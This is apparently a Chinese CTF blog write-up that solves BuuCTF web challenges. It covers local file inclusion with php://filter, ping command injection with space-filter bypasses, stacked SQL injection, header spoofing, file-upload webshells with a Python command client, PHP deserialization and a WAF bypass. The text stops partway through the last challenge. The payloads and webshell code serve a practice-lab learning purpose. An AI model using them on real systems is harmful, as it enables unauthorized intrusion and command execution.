前言
今天是1月12日,开始做BuuCTF其他的Web题目,不按关键词去刷了,因为容易刷到其他分支的题目,直接刷Web,顺便该提提速了
今天是1月21日,这篇文章三天前就收笔了,不过因为忙其他事情,且中途一直登录不上buuctf,停下了一段时间,所以写完这篇文章的时候已经好多天了,然后又没时间上传,180多张图片和2w字,今天才抽空花了点时间上传,最近给我的联想小新的笔记本也换成了ubuntu系统,果然丝滑多了
[极客大挑战 2019]Havefun
解题思路:
开启环境直接访问

该说不说,这页面有点好看啊,结果一看作者,发现这不就是之前那个黑客背景的SQL注入题目的作者嘛,反正还会塞无用数据恶心人,不管了做题,页面没什么信息,点了几下也没用,F12或者鼠标右键查看一下源代码

看一下逻辑,get请求,参数cat,输出值,如果值为dog,输出Syc{xxx},那么提交一个试试看

这我也没看懂考的啥,信息收集?代码分析?
夺旗成功!
[ACTF2020 新生赛]Include
解题思路:
直接开启题目访问靶机

一个超链接,F12没信息,直接点击跳转

你能查找到flag吗,看样子是文件包含,可以在URL中看到,我们直接修改flag.php为flag试试,没用,那就试试PHP伪协议


第二题直接秒,用的之前那个PHP函数学习的文章中的PHP伪协议部分的代码,直接读取文件数据,不过这里忘记了特意去翻了一下,因为之前用的少,为了加深印象,手敲几遍:
php://filter/convert.base64-encode/resource=flag.php其实还是比较简单的,主要是convert忘记了,php://filter指定伪协议,convert.base64-encode指定base64编码,resource指定资源文件,然后获取的内容base64解码一下就好了
[HCTF 2018]WarmUp
解题思路:
还是一样,直接开启环境,我都是边做题变写wp,这样印象深刻,同时能够保证自己的思路能够被完整记录,方便后续复盘

没啥有用的东西啊,直接F12查看一下网页源代码

source一般就是给出源码了,看题目样子是要我们去下载或打开源码分析,直接访问/source.php

源代码有了,为了方便查看(代码编辑器缩进看着舒服一些)直接放到vscode里面,看到有一个hint.php的文件,直接访问看看

提示flag不在这,且flag在ffffllllaaaagggg,看前面的代码,发现include包含file参数,直接提交带有file参数的请求看看

提示我们不能查看,那么继续分析一下完整的代码逻辑:
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; }判断file参数不为空,然后判断是字符串,然后判断emmm类里面的checkFile方法,都满足就包含文件,不满足就输出图标,那么要走包含的代码,就得满足前面的三个条件,前两个还好,第三个得看具体的方法内容:
public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; }定义了一个checkFile方法,传入了$page,这个$page就是我们输入的file的值,&$page代表$page是引用传递,当这个变量在方法内部被修改后,再外部输出的话就是输出修改后的值,举一个例子:
<?php function echo_str(&$str) { echo $str; // 传入的字符串 $str = "新的字符串"; } $str = "原始字符串"; echo_str($str); echo "修改后的字符串:". $str; ?>

可以看到这里我将上面代码放到我自己的服务器上面后访问,输出的是原始字符串+修改后的字符串:新的字符串,这就是引用传递,如果不加&则是默认的值传递,在函数内部的修改不会影响到全局(服务器上面的该文件已删除)
然后继续,声明了一个关联数组:
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];$whitelist 就是这个数组,然后继续:
if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }判断$page是否设置,用的逻辑非,然后判断是否是字符串,比如没有设置,或者不为字符串,就满足了条件,中间用的是逻辑或,也就是当左右条件满足了任意一个就会执行你无法查看的代码块,并返回false
然后判断传入的&page是否存在于数组中,满足返回true;mb_substr函数用于从字符串中提取子字符串:
$str = "这是字符串"; echo mb_substr($str, 0, 2); // 输出:这是三个参数分别是字符串,起始位置,提取长度,题目的代码是提取$page,从头开始,mb_strpos 函数是 PHP 中的一个内置函数,用于查找字符串在另一个字符串中首次出现的位置,题目中的代码是查找
?在$page.’?’中,如果变量$page里面存在?,返回的就是这个问好的位置,如果不存在,拼接末尾会自带一个问好,确保程序不会返回false,代码效果如下:// /?file=123.php?id=1 // mb_strpos("123.php?id=1?", '?') // file=后面是我们传入的 $page ?第一次出现的位置为 7 // mb_substr($page,0,mb_strpos($page . '?', '?')); // 返回的结果是mb_substr("123.php?id=1",0,7); // 返回123.php,第七位不包含 // /?file=123.php // mb_strpos("123.php?","?") 返回7 // mb_substr("123.php?",0,7) 返回123.php看懂上面这个例子后再回到题目,$_page就是处理后的$page,如果$_page在$whitelist这个数组中就返回true,继续:
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false;将$page进行URL解码,然后传入$_page,然后再截取,逻辑还是一样,如果在数组中就返回true,然后后面的代码是输出你不能看到它,返回false,好了分析完毕,我们来想一想payload怎么构造,首先要想包含flag文件,我们必须让条件为true,也就是file不为空,且是字符串,先满足这两个条件:
file=ffffllllaaaagggg接下来满足切分后的内容在数组即可,因为是靠问号判断,判断第一个出现的问号,那么就可以这样构造:
file=source.php?ffffllllaaaagggg这样的确可以了,不过只是满足了白名单和前面的两个条件,想要读取文件这样肯定是不可以的,因为source.php?ffffllllaaaagggg不是一个正常的文件名,那么怎么办呢?在Linux中,我们想要读取一个件的时候就可以使用:
cat ../../../filename这里我们同样可以这么使用,因为 include 是把它当作文件路径来处理,所以如果直接传入 source.php 读取的就是:
include 当前目录/source.php拼接 ?文件系统也只是会将他当作普通的字符处理,所以我们再拼接
/../读取 :include 当前目录/source.php?/../ffffllllaaaagggg这样source.php返回它的上级目录,也就是source.php文件所处的当前目录了,并且我们成功绕过了白名单的限制,这样读取是可以读取到当前目录下的文件的,不过ffffllllaaaagggg不在当前目录,所以我们需要一层一层的加:
file=source.php?/../../ffffllllaaaagggg file=source.php?/../../../ffffllllaaaagggg file=source.php?/../../../../ffffllllaaaagggginclude 读取 source.php 的路径如下:
/var/www/html/ ├── source.php └── hint.phpinclude 读取 source.php/xxx 的路径如下;
/var/www/html/ ├── source.php ├──── xxx └── hint.php然后使用
../就可以使其重新回退到当前的目录,读取的就如下:source.php/../ffffllllaaaagggg /var/www/html/ ├── source.php ├── ffffllllaaaagggg └── hint.php不过实际情况是
ffffllllaaaagggg,不在当前目录,可能在更上一级的目录,所以我们需要继续../,最后应该是读取到了根目录下的ffffllllaaaagggg文件

成功夺旗!
因为是通过检查第一个
?前的字符串来判断的,所以我们自行添加一个即可绕过白名单限制
[ACTF2020 新生赛]Exec
解题思路:
打开题目访问

发现是一个ping功能,那么多半是考命令执行了,输入一个IP地址,服务器会进行ping + ip,如果我们直接在后面加上
;就能 成功执行多条语句,之前我们在webshell读取文件的时候应该有看到过:cd ../;ls这样就可以cd到上级目录,然后进行查看上级目录的文件,这就是通过
;来拼接多条语句,所以我们试一试

为了方便,不等待ping结果,直接输入一个不存在的地址,这样ping就是不通的:
x;ls

不在当前目录,为了方便我们直接查找相关文件:
x;find / -name "*fl*"

发现有一个/flag,是根目录下的,看看是文件还是文件夹:
x;ls / -al

d 开头的就是文件夹,不是 d 开头,说明是文件,可以直接 cat 查看:
x;cat /flag

成功夺旗!
[GXYCTF2019]Ping Ping Ping
解题思路:
直接开启题目看看

提示了我们路径,我们试试:
/?ip=127.0.0.1

没问题,使用
;看看能不能执行第二条命令:x;ls

这回更简单,直接就在当前目录下,直接cat查看就好了:
x;cat flag.php

提示空格问题,因为是在URL中,那么我们试试
+,%a0,${IFS},$IFS$1等绕过:

这里一定要注意,我们判断空格绕过的方法时千万不要执行下一条命令,比如我们已经在前面确定了
ls是可以执行的,那么我们在判断是否可以绕过的时候就继续用这条命令,如果改变命令,结果给可能就不一样了,因为我就是被这个误导了,我当时执行的命令如下:x;cat%a0flag.php然后直接返回了
fxck your flag,我当时就认为空格过滤肯定是绕过了,要不然也不会返回这个,但是实际上没有绕过,只不过先触发了flag关键字过滤,所以先结束了脚本并输出了这个信息,然后后面的一连串测试都有问题,所以大家在判断绕过技巧是否成功的时候尽量保证原语句不变然后后来知道是过滤了空格才重新回到空格过滤的绕过上面,先用
${IFS}发现过滤了{},于是又换成上面的$IFS$1然后成功绕过,接下来就是读取flag,因为过滤了关键字,我们可以使用编码或者变量来代替,这里使用变量代替的方法:x;a=g;cat$IFS$1fla$a.php

没问题,成功!
当然,在过滤了flag的情况下,我们也可以直接尝试读取index.php来判断过滤情况,然后想办法绕过,这里最后来读取一下这个index.php文件:
x;cat$IFS$1index.php代码如下(查看网页源代码):
<?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); } ?>发现是直接拼接用户输入的 $ip 来执行命令,然后判断过滤,如果正则表达式匹配到就会结束脚本并输出相关信息,来逐行分析一下:
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); }这里
/代表开头和结尾,中间的\是转义,然后|代表或,去掉这些再来看,过滤的内容就如下:&、/、?、*、<、>、[\x{00}-\x{1f}]、'、"、\、(、)、[、]、{、}
[\x{00}-\x{1f}]代表十六进制的00到1F对应的字符,这里可以查看一下ascii表:https://c.biancheng.net/c/ascii/差不多就是过滤了0-31,其中什么制表符,换行啊都有,所以我前面使用%a0是没有绕过成功,然后还过滤了大括号,所以使用
$IFS$1才成功绕过空格过滤,然后下一段代码:} else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); }过滤了空格,过滤了
bash,.*代表任意字符0或多次,然后匹配单个字符,如果我们输入flag会被匹配成功,输入f1lag也会成功,但是我们输入flaa就不会成功,所以我们可以使用变量来替换,将其中一个替换成变量名,这样就不会匹配到,比如a=lag,那么我们读取就可以是cat f$a.php,都是一样的可以获取到flag:x;a=lag;cat$IFS$1f$a.php

不过要注意,变量不要夹在中间,比如
a=l,读取命令为cat f$aag.php,你可能会认为这是正确的,实际上不会读取到,因为系统将$aag当作变量名来处理了,但是又没有这个变量,所以就不会有结果,不过可以将前面的变量改一下,为aag=lag,这样就可以读取到了

成功夺旗!
[极客大挑战 2019]Secret File
解题思路:
题目意思是秘密文件,直接打开靶机看看

没啥有用的信息,F12看看

可以看到,有一个按钮,是超链接跳转,不过用css隐藏了好像,不过我们是查看网页源代码,所以不要紧,直接点击跳转看一下

别急,查看一下页面源代码

没啥大问题,那就点击跳转看看

提示我们查阅结束,但是我们之前看到的网页源代码是跳转 /action.php ,这里的URL却是 /end.php,说明 /action.php 返回了信息包含 302 跳转,不过速度太快,没看到,没关系,使用 Burpsuite 看看

抓包都不用开,直接在请求的HTTP历史里面查看,发现返回了一个文件名,访问看看

又是代码分析,不过这会代码比较少,直接查看吧,高亮显示当前文件,然后关闭报错提示,$file 为 get 请求的 file,strstr() 函数在 PHP 中用于搜索一个字符串在另一个字符串中的首次出现,所以我们不能使用
../,tp,input,data,不过没有限制filter,那就用它来读取文件:?file=php://filter/convert.base64-encode/resource=flag.php

没问题,F12后复制内容,base64解码一下:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>FLAG</title> </head> <body style="background-color:black;"><br><br><br><br><br><br> <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br> <p style="font-family:arial;color:red;font-size:20px;text-align:center;"> <?php echo "我就在这里"; $flag = 'flag{5720a22e-aa9b-4e6d-9bd1-ec9754bf2209}'; $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd' ?> </p> </body> </html>这个应该目录扫描后扫描到flag.php直接访问的输出,不过我们压根没有那样,直接使用的伪协议读取的文件内容,所以flag在里面:
flag{5720a22e-aa9b-4e6d-9bd1-ec9754bf2209}成功夺旗!
[强网杯 2019]随便注
解题思路:
看这标题怎么那么像SQL注入啊,不过没有带关键词SQL,所以才没有搜索到吧,不管了,直接开启题目做题

有一个1,直接提交看看

返回了数组,查看一下网页源代码看看

既然是SQL注入的题目,我肯定是不太会去用sqlmap跑的,用的是get请求,然后值是1,测试一下2看看

继续,3看看,发现3没有结果,0也没有结果,可以肯定的是字段数为2,因为返回的是两个结果,假设第一个结果是id,第二个结果是信息,然后匹配条件是用户输入的inject,那么语句可能如下
select id,message from xxx where id=$_GET['inject']那么试试数字型注入:
1 and 1=2发现返回1的结果了,说明输入是被当作字符串处理了,那么换成非数字型注入试试:
1' and 1=2#发现没有返回结果,表示语句成功执行了,那么简单了,直接开始注入,获取信息:
-1' union select 1,2#使用联合查询获取一下信息,发现返回了过滤的规则:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);好像只是做了正则表达式的过滤,不过不确定有没有过滤大写或者大小写混用,试试看:
-1' unIOn sElEcT 1,2#还是这个信息,大写不行,大小写也不行,双写试了也不行,那么多半是无法绕过了,直接转变思路,使用show:
-1';show tables#

有结果了,思路没有问题,不过只显示两个,不确定有没有省略的,先正常获取一下数据库名:
-1';show databases#

发现返回了好几条结果,说明并不是限制了只返回两个结果,而是当前数据库的表名就两个,那么获取一下列,两种方法:
-1';show columns from `1919810931114514`# -1';desc `1919810931114514`#因为如果表名是纯数字,我们就需要使用反引号 ` 来包裹表名,然后发现返回了一个列,列名为flag

接下来的获取数据,我就不是特别清楚了,查了一下wp,发现是新的知识,一共四种解法:
- 第一种就是我们之前学习的预编译来获取flag
-1';set @a=char(115,101,108,101,99,116,32,102,108,97,103,32,102,114,111,109,32,96,49,57,49,57,56,49,48,57,51,49,49,49,52,53,49,52,96);prepare lawking from @a;execute lawking;# 输出:strstr($inject, "set") && strstr($inject, "prepare") 不过这里没有过滤完善 可以使用大写绕过: -1';SET @a=char(115,101,108,101,99,116,32,102,108,97,103,32,102,114,111,109,32,96,49,57,49,57,56,49,48,57,51,49,49,49,52,53,49,52,96);PREPARE lawking from @a;execute lawking;# 还可以使用16进制编码 -1';Set @jia = 0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;PREPARE lawking from @jia;EXECUTE lawking;# array(1) { [0]=> string(42) "flag{b03a304c-e170-43ad-8fd6-4571311ee469}" }
- 第二种就是还是预编译,不过使用concat来结合
-1';PREPARE lawking from concat('s','elect', ' flag from `1919810931114514`');EXECUTE lawking;# 因为靶机到期 又开了一遍 array(1) { [0]=> string(42) "flag{c2b0e593-faf9-42eb-892d-2f28a9a38b23}" }
- 第三种就是修改表名和列名来实现,正常来讲,我们输入1查询的是words表,那么我们替换一下,把这个数字表替换名字为words,原先那个随便换一下,然后将flag列换成id,当我们输入or 1=1#的时候查询的就是flag列的具体flag了
-1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# alter table words rename to words1 修改words表的表名为words1 alter table `1919810931114514` rename to words 修改数字表的表名为words alter table words change flag id varchar(50) 修改words的flag列为id 使用 1' or 1=1#来获取所有信息
- 第四种就是通过
handle,handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据打开表: HANDLER 表名 OPEN ; 查看数据: HANDLER 表名 READ next; 关闭表: HANDLER 表名 READ CLOSE; -1';HANDLER `1919810931114514` OPEN ;HANDLER `1919810931114514` READ next;HANDLER `1919810931114514` READ CLOSE;#第四种试完了再去第三种,这样不用改来改去
[极客大挑战 2019]Http
解题思路:
直接开启靶机访问看看

做的还有点好看啊,这动画,不过没有看到什么有用的信息,F12查看网页源代码也没看见有什么有用的,看了一眼wp,思路是说看见题目是HTTP,那么首先想到的就是HTTP请求,F12查看一下网络请求

发现相比正常的请求多了一个引用站点策略,英文叫
Referrer Policy,用于控制HTTP请求中Referrer报头内容的安全策略,Strict-Origin-When-Cross-Origin的含义是:
- 当请求源(origin)和目标源(origin)相同时,将包含完整的 URL 信息
- 当请求源和目标源不同源时,仅包含请求源的 origin 信息,不包含路径或查询参数等详细信息
什么是源呢:
http://lawking.top协议+域名+端口就是源 ,同源指的就是协议和域名以及端口都相同,所以
Strict-Origin-When-Cross-Origin就是不同源就不包含路径和参数信息,再看网页源代码,可以看到有一个Secret.php文件

直接访问看看

提示我们不是从
https://Sycsecret.buuoj.cn访问的,那么我们抓包修改Referer为这个地址试试:GET /Secret.php HTTP/1.1 Host: node5.buuoj.cn:26457 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: close Referer: https://Sycsecret.buuoj.cn Upgrade-Insecure-Requests: 1 Priority: u=0, i

提示让我们使用Syclover的浏览器,这个就是在UA头里面修改:
GET /Secret.php HTTP/1.1 Host: node5.buuoj.cn:26457 User-Agent: Syclover Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: close Referer: https://Sycsecret.buuoj.cn Upgrade-Insecure-Requests: 1 Priority: u=0, i

no,你只能在本地读取这个文件,那么我们就通过修改
X-Forwarded-For来伪造访问的源地址:GET /Secret.php HTTP/1.1 Host: node5.buuoj.cn:26457 User-Agent: Syclover Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: close Referer: https://Sycsecret.buuoj.cn X-Forwarded-For: 127.0.0.1 Upgrade-Insecure-Requests: 1 Priority: u=0, i

成功夺旗!
因为没有做过这个题目,就
X-Forwarded-For和UA伪造我是知道的其他都是跟着wp做的,因为这个题目好像做得比较少,主要还是通过请求头伪造访问无法访问的页面,我记得我是在学习SRC漏洞挖掘的时候知道的,那个时候就是用Burpsuite工具生成一个X-Forwarded-For: 127.0.0.1然后未授权访问
[极客大挑战 2019]Upload
解题思路:
直接访问靶机

很明显,是一个文件上传漏洞,看一下页面源代码,没有发现什么,看来不是前端过滤,那么就需要使用Burpsuite抓包测试了,先准备好Webshell:
<?php system($_GET['cmd']); ?>然后因为前端没有过滤,直接选择Webshell进行上传

显示不是图片,使用绕过技巧试试,先尝试修改文件类型 Content-Type 为 image/jpeg 看看

那就是检查了文件后缀,那就使用%00截断

提示我们文件内容包含了<?,这我就想不到什么好的绕过技巧了,看看别人的wp学习学习,发现是通过script标签来调用代码:
<script language=php>system($_GET['cmd']);</script>

提示不是图片,说明还检查了文件头,添加GIF89a绕过

发现无法访问到,并且文件名没有截断,那就尝试使用phtml来绕过文件名检测,上传文件:webshell.phtml

成功!再去连接看看:
http://f609ff66-d44a-40da-9528-5feecb45e2b9.node5.buuoj.cn:81/upload/webshell.phtml

直接连接后查找flag,成功在根目录下看到了,直接cat查看:
cat /flag

成功夺旗!
前面的GIF89a是我们上传文件时的文件内容,所以连接后执行命令也自动输出了这个
[极客大挑战 2019]Knife
解题思路:
开启靶机直接访问

提示我们菜刀,然后 post 请求,然后是 Syc 参数,这里直接写个demo,因为我没有菜刀,如果你有的话直接连就行,没有就跟我一样python运行下面这个demo即可:
import requests while True: url = "http://c94120eb-8ee8-46c2-a68b-067fa6cb263d.node5.buuoj.cn:81/" cmd = input("请输入命令:") if cmd == "exit": break data = { "Syc": f"system('{cmd}');" } response = requests.post(url,data) print(response.text)然后试试
ls,发现页面成功返回了信息

没问题,直接找flag:
find / -name "*flag*"

可以看到根目录下有一个flag文件,直接cat:
cat /flag

成功夺旗!
flag{944569d5-b59a-4073-aed9-a46ae1227df9}
[ACTF2020 新生赛]Upload
解题思路:
直接开启靶机访问看看

有意思哈,访问后是一个灯泡的样子,但是将鼠标移上去就会照亮文件上传的功能点

挺有创意的,那么直接上传一个webshell看看

直接弹窗了,这种还没开始上传就弹窗了只能说明是前端做了校验,没关系,直接换burpsuite抓包修改即可

将webshell后缀换成jpg,然后上传后抓包,再修改成php后缀即可,如果只是前端的过滤,那么就会成功上传,同时因为我们上传的时候选择的是jpg的文件,所以MIME(Content-Type类型)也帮我们伪造好了

提示坏文件,可能是对文件后缀也检查了,使用%00截断试试

可以看到没有成功,上传成功了,但是文件后缀是jpg,也就是说没有做文件内容的检查,并且上传后的文件名会经过加密,然后就是上传的路径就是当前路径下的uplo4d,既然%00无法截断,那就换一个文件后缀看看,看看是不是只是做了黑名单过滤,如果是黑名单过滤,且不完善就可以绕过:

可以看到成功上传,并且文件后缀还是phtml,那么就直接用我自己的工具尝试连接:

没问题,那么flag多半在根目录下,可以像前面一个find查找,这里我猜肯定是/flag,直接cat了

成功夺旗!
flag{4a637e03-98c8-4cad-bddc-e37b2a3140ee}
[极客大挑战 2019]PHP
解题思路:
还是一样,直接开启靶机访问

这题目,有意思,很好玩,可以逗猫,然后提示说有一个良好的备份网站的习惯,那么肯定就是备份文件泄露了,直接上dirsearch目录扫描:
dirsearch -u http://f98b4147-b749-47cf-938a-471bf74a4575.node5.buuoj.cn:81/

我第一遍用 -i 指定了200的响应,结果没扫出来结果,莫名其妙的,让我有扫了一遍,然后没带 -i 就出结果了,发现网站有一个www.zip的备份文件,直接多乐下来看看:
D:. class.php flag.php index.js index.php style.css一共五个文件,css文件不用管,直接看另外的四个文件,发现有一个flag.php的文件,里面有一个变量就是flag,不过具体的内容是dogdogdogdog,估计是要我们查看这个文件,然后网站上面的flag.php文件里面就是flag,又因为是变量,直接访问这个文件可定是没有输出的,再假设class.php,多半是要我们利用PHP魔术方法来命令执行了
先看index.php文件:
<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>发现其中有个包含了class.php的代码,然后接收select参数,使用unserialize,看来是反序列化了,unserialize函数之前那篇PHP函数的文章中有写,用于将通过 serialize () 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构,然后@是引用传递
继续,来看class.php的代码,发现有三个魔术方法,__construct,__wakeup,__destruct,分别是在对象创建时,反序列化对象时,对象销毁时调用,看具体代码:
private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } }可以看到在对象销毁时,执行判断,如果密码不等于100就会输出信息并结束脚本,所以password属性一定要是100,然后是username属性,要为admin才会调用全局变量flag并输出,但是如果我们直接传入序列化的数据,因为反序列化时会自动调用__wakeup魔术方法,所以username属性会被设置为guest,这样就无法满足条件了,不过__wakeup 在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup
接下来是构造payload,直接写一个php脚本:
<?php class Name{ private $username = 'admin'; private $password = '100'; } $a = new Name; $b = serialize($a); echo "payload为:" . $b; ?>然后上传到我的博客(因为方便,测试完就已经删除了),然后访问这个文件

payload如下:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}不过有两点需要注意,第一就是属性要为3(当前属性个数大于实际属性个数时,才会跳过__wakeup魔术方法)这个前面说过,第二个就是空字符,Nameusername其实是12个字符,但是在私有化属性在序列化的时候会有空字符隔开,不过不显示:
\x00类名\x00属性名如果我们直接用上面的那个payload,提交后会发现不行,因为没有空字符,所以我们需要手动加上,\x00在URL中就是%00:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}这就是完整的payload了,然后直接拼接在URL的select参数里面提交试试

成功夺旗!
flag{f50c000b-07dd-4bf7-98ee-c189b99899d1}
[ACTF2020 新生赛]BackupFile
解题思路:
还是直接开启靶机看看

让我们尝试找到文件,F12看看,发现啥也没有,扫描目录看看
dirsearch -u http://14109475-f563-4461-8df2-07b3833ff903.node5.buuoj.cn:81/ -i 200 -t 10限制10线程是为了防止过快不出结果,不过dirsearch还是没有扫描到结果,那就直接试试source.php,发现也没有,还奇怪了,看看wp,发现思路没有错,的确是备份文件,我估计还是扫描快了,换成1线程试试:
dirsearch -u http://14109475-f563-4461-8df2-07b3833ff903.node5.buuoj.cn:81/ -t 11线程就是慢啊,跑了好半天才把结果跑出来,这就是我特别不想扫描或者爆破的原因,太费时间了



429都是扫描过快,不过降低速度后还是扫描出来了,差点以为还要加延迟呢,既然如此,直接访问.bak文件下载后看看代码:
<?php include_once "flag.php"; if(isset($_GET['key'])) { $key = $_GET['key']; if(!is_numeric($key)) { exit("Just num!"); } $key = intval($key); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"; if($key == $str) { echo $flag; } } else { echo "Try to find out source file!"; }看来应该是提交了key参数所以第三个图片也返回了200,不过没关系,看一看这个代码的逻辑,如果$key等于$str就输出flag,然后str是123…,这些都很简单,主要是这个intval函数和is_numeric函数,看看是什么
intval函数是PHP中用于获取变量的整数值的函数,将上面的$str变量用这个函数跑一下发现结果是123,后面的好像都省略了
is_numeric() 用于判断输入是不是数字或数字字符串
很明显,如果直接提交,那么不是数字而是字符串的话就不对,那么就需要想办法先绕过这个函数,因为是新知识,搜搜相关的文章,发现这里考验的是PHP弱类型判断,在使用==判断的时候,整数和字符串类型相比较时,会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行==比较时,b只会截取前面的整数部分,即b转化成123,所以他们比较结果相等,不过我本地的PHP版本是8.2.30的,对这个弱类型比较做了优化,所以比对不成功,不过题目环境是没问题的,然后当$key和$str比较时,$str会被转换成123,比较就是正确的,而is_numeric验证的是数字或数字字符串,123刚好是,所以不用考虑绕过,直接123就可以比对成功,然后获取到flag
/?key=123

不过PHP8对这个做了优化,降低了许多安全隐患发生的可能
[极客大挑战 2019]BuyFlag
解题思路:
打开题目发现没什么有用的信息,直接查看源代码发现有个pay.php的页面

访问看看

页面有点提示,不过好像还是没有告诉我们接口或者参数,看看源代码

在源代码中成功找到信息,看看代码的逻辑,发现需要提交金额和密码,判断是否提交密码,密码为用户直接输入的密码,如果用户输入的密码是数字或数字字符串,输出你不能输入数字,或者判断密码弱等于404,输出密码正确,然后金额是要求我们要100000000,看前面一题的时候发现这个is_numeric可以使用%00在开头和结尾绕过或者结尾使用%20,那么直接构造payload试试:
password=404&money=100000000没反应,提示我们必须是CUIT的学生,且密码正确,抓包看看,发现在Cookie中有一个user参数:
Cookie: user=0修改成1试试

没问题,现在就是密码,提交密码看看,因为密码不能是数字类型,所以我们要绕过的话就必须是非数字或数字字符串,不过后端使用的是==弱比较,所以我们只需要保证前三位数字是404即可:
password=404pp&money=100000000发现还是不行,然后看了一下别人的wp发现这题如果是直接修改get为post是不行的,必须用hackbar提交正常的post请求,然后发送到重放模块修改,对比了一下前后的数据包,发现多了几个请求头参数,然后修改一下user为1,然后加上money,提交试试

密码没问题了,不过提示数字长度过长,那就换成URL中发送money参数试试

看来不行, 看了一下别人的wp,发现这里可以使用科学计数法绕过,我竟然没有想到,我好笨,呜呜

成功夺旗!
[RoarCTF 2019]Easy Calc
解题思路:
直接访问靶机看看

不急着测试,看看源代码

有一个calc.php的文件,访问看看

关闭报错,然后如果提交没有设置num就会展示当前文件,否则字符串等于用户提交的num参数, 然后利用正则表达式来过滤,如果没问题就会执行输出,很明显,没有过滤分号,那么直接尝试拼接第二个语句来命令注入:
calc.php?num=123;phpinfo()不过发现,直接输入123没有问题,但是当我们输入第二条语句的时候

再加上之前文件提示的waf,多半是对参数进行了拦截,不过很可能是只匹配了num,使用空格依旧可以绕过,不过是URL编码后的:
calc.php?%20num=123;phpinfo()

成功绕过waf的过滤,既然能够命令执行,现在就是考虑怎么获取flag了,因为试了system发现并不行,所以可能不是命令执行,而是代码执行,那么我们就需要使用函数来读取文件,这里使用scandir()来读取指定目录中的文件和目录列表,不过这个函数返回的是数组,所以我们使用var_dump函数,它是 PHP 中用于输出变量详细信息的函数,包括变量的 类型 和 值。它会递归地显示数组或对象的结构,这里我们读取一下根目录,不过前面的代码里面也可以看到过滤了
/,所以使用编码绕过,而斜杠的ascii是47,所以构造如下payload:1;scandir(chr(47))当然这样是无法显示数据的,因为只是执行了函数,但是没有将结果输出,所以这里我们将结果输出一下,可以使用echo等输出,不过只会输出一个参数,而scandir返回的是一整个数组,所以我们使用var_dump来输出所有内容:
1;var_dump(scandir(chr(47)))

